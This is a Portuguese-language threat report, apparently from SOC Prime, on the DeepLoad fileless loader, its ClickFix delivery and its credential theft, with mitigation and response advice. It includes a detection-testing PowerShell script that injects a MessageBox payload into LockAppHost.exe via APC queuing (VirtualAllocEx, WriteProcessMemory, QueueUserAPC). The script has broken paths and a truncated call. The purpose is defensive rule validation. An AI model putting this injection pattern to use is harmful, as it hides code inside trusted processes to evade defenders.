SOC Prime Bias: Médio

25 May 2026 16:34 UTC

DeepLoad Malware Explicado: Entrega ClickFix e Roubo de Credenciais

Author Photo
SOC Prime Team linkedin icon Seguir
DeepLoad Malware Explicado: Entrega ClickFix e Roubo de Credenciais
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

DeepLoad é um carregador de malware sem arquivo observado pela primeira vez em março de 2026 que se espalha através de uma tática de engenharia social conhecida como ClickFix, que persuade os usuários a executar um comando malicioso do PowerShell. Uma vez executado, o carregador descriptografa sua carga útil na memória e a injeta em processos confiáveis do Windows por meio de chamadas de procedimento assíncronas. Ele então implanta um ladrão de credenciais chamado filemanager.exe junto com uma extensão maliciosa de navegador para roubar senhas salvas e registrar pressionamentos de teclas. O malware também pode se espalhar por meio de unidades USB, soltando diversos arquivos de atalho que reiniciam a cadeia de infecção em outro sistema.

Investigação

A pesquisa descreve o comando inicial usado para recuperar o carregador PowerShell de um servidor remoto, as técnicas de ofuscação aplicadas durante a execução e a injeção de processo baseada em APC em binários como LockAppHost.exe. Também descreve os dois componentes separados de roubo de credenciais e o método de movimento lateral baseado em USB que utiliza .lnk arquivos disfarçados como instaladores de software comuns. O relatório também faz referência a módulos de simulação da Picus que podem ser usados para testar defesas contra esse comportamento.

Mitigação

Os defensores devem bloquear a execução de comandos PowerShell não confiáveis, monitorar a criação de tarefas agendadas suspeitas e o uso anormal de mshta.exe, e impor controles de execução rigorosos para scripts PowerShell. A detecção de injeção baseada em APC, o monitoramento de .lnk arquivos em mídia removível suspeitos e a limitação do armazenamento de credenciais do navegador podem ajudar a reduzir o impacto. A proteção de endpoint que pode inspecionar a descriptografia e comportamento de injeção na memória também é recomendada.

Resposta

Se a atividade do DeepLoad for detectada, isole o endpoint afetado imediatamente, encerre processos suspeitos como filemanager.exe e quaisquer binários confiáveis apresentando sinais de injeção, e remova quaisquer tarefas agendadas criadas pelo malware. Redefina as credenciais para contas comprometidas, escaneie mídias removíveis em busca de arquivos de atalho maliciosos e realize análise forense para identificar qualquer mecanismo de persistência. Regras de detecção também devem ser atualizadas para cobrir os padrões de linha de comando observados e técnicas de injeção.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria & Baseline deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:

    O invasor entregou um script malicioso do PowerShell (o “carregador”) que é executado no contexto do usuário logado (Execução de Usuário – T1204). O carregador realiza os seguintes passos:

    1. Preparar a carga útil – escreve um binário C compilado (a “carga útil”) para %TEMP%.
    2. Cria uma instância suspensa de um processo confiável (LockAppHost.exe) usando CreateProcessA com o CREATE_SUSPENDED flag.
    3. Injetar a carga útil no processo suspenso chamando WriteProcessMemory para copiar o binário no espaço de endereçamento do alvo.
    4. Enfileirar um APC (QueueUserAPC) que aponta para o ponto de entrada da carga útil, causando a execução da carga útil quando o thread alvo for retomado.
    5. Retomar a thread, completando a injeção.

    Esta sequência exata gera um único evento de criação de processo para LockAppHost.exe cujo Sysmon campo CallTrace contém as três chamadas de API relacionadas à injeção, satisfazendo a regra Sigma.

  • Script de Teste de Regressão:

    # Simulação de Injeção Baseada em APC do DeepLoad (PowerShell + Compilação em Memória C#)
    # --------------------------------------------------------------
    # 1. Compilar uma carga útil mínima em C (MessageBox) para um EXE temporário
    $payloadSource = @"
    #include 
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
        MessageBoxA(NULL, "Injetado pelo DeepLoad", "Sucesso", MB_OK);
        return 0;
    }
    "@
    $tempDir = "$env:TEMPDeepLoadDemo"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
    $cFile = "$tempDirpayload.c"
    $exeFile = "$tempDirpayload.exe"
    $payloadSource | Set-Content -Path $cFile -Encoding ASCII
    # Use o compilador Visual C++ se estiver disponível; fallback para o Add-Type do PowerShell (cria uma DLL, não EXE)
    if (Get-Command cl.exe -ErrorAction SilentlyContinue) {
        & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile
    } else {
        Write-Error "Compilador C não encontrado – compilação manual necessária."
        exit 1
    }
    # 2. Preparar injeção
    $targetPath = "C:/Windows/System32/LockAppHost.exe"
    $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo
    $STARTUPINFO.FileName = $targetPath
    $STARTUPINFO.Arguments = ""
    $STARTUPINFO.RedirectStandardOutput = $false
    $STARTUPINFO.UseShellExecute = $false
    $proc = New-Object System.Diagnostics.Process
    $proc.StartInfo = $STARTUPINFO
    $proc.StartInfo.CreateNoWindow = $true
    $proc.StartInfo.Verb = "runas"  # garantir privilégios elevados, se necessário
    # Criar processo suspenso
    $pInfo = New-Object System.Diagnostics.ProcessStartInfo
    $pInfo.FileName = $targetPath
    $pInfo.Arguments = ""
    $pInfo.UseShellExecute = $false
    $pInfo.CreateNoWindow = $true
    $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new()
    $procStartInfo.FileName = $targetPath
    $procStartInfo.Arguments = ""
    $procStartInfo.UseShellExecute = $false
    $procStartInfo.CreateNoWindow = $true
    # Definições de P/Invoke
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Native {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint ResumeThread(IntPtr hThread);
        public const uint CREATE_SUSPENDED = 0x00000004;
        public const uint MEM_COMMIT = 0x1000;
        public const uint PAGE_EXECUTE_READWRITE = 0x40;
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    }
    "@
    Add-Type $sig
    # Inicializar estruturas
    $si = New-Object Native+STARTUPINFO
    $pi = New-Object Native+PROCESS_INFORMATION
    $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
    # Criar LockAppHost suspenso
    $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero,
        $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    if (-not $created) {
        Write-Error "CreateProcessA falhou: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
        exit 1
    }
    # Ler binário de carga útil
    $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile)
    # Alocar memória no alvo
    $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length,
    if ($remoteAddr -eq [IntPtr]::Zero) {
        Write-Error "VirtualAllocEx falhou."
        exit 1
    }
    # Escrever carga útil
    $bytesWritten = [UIntPtr]::Zero
    $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten)
    if (-not $writeOk) {
        Write-Error "WriteProcessMemory falhou."
        exit 1
    }
    # Enfileirar APC (apontando para o ponto de entrada da carga útil)
    $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero)
    # Retomar thread para executar APC
    [Native]::ResumeThread($pi.hThread) | Out-Null
    Write-Host "Injeção completada – a carga útil deve aparecer em breve."
  • Comandos de Limpeza:

    # Terminar instância injetada do LockAppHost (se ainda estiver em execução)
    Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force
    # Remover arquivos temporários
    Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"

Resultados da Validação (a serem preenchidos após a execução)

  • Regra Disparada: Sim / Não
  • Número de Alertas Gerados: ___
  • Verificação de Falsos Positivos: Execução benigna não produziu alertas (conforme confirmado pela consulta de validação).

Resumo de Recomendações

  1. Correlacione Entre Eventos – Adicione uma regra secundária que observe por WriteProcessMemory or QueueUserAPC eventos ocorrendo dentro de uma janela de tempo curta de um LockAppHost.exe criação.
  2. Amplie o Escopo da Imagem – Inclua outros binários confiáveis comumente abusados para injeção APC (por exemplo, svchost.exe, explorer.exe).
  3. Enriquecimento Comportamental – Marque processos que carregam DLLs não assinadas ou executam de %TEMP% após a injeção.
  4. Mitigação de Evasão – Monitore as mesmas chamadas de API divididas em múltiplos processos, o que atualmente contorna a condição de evento único.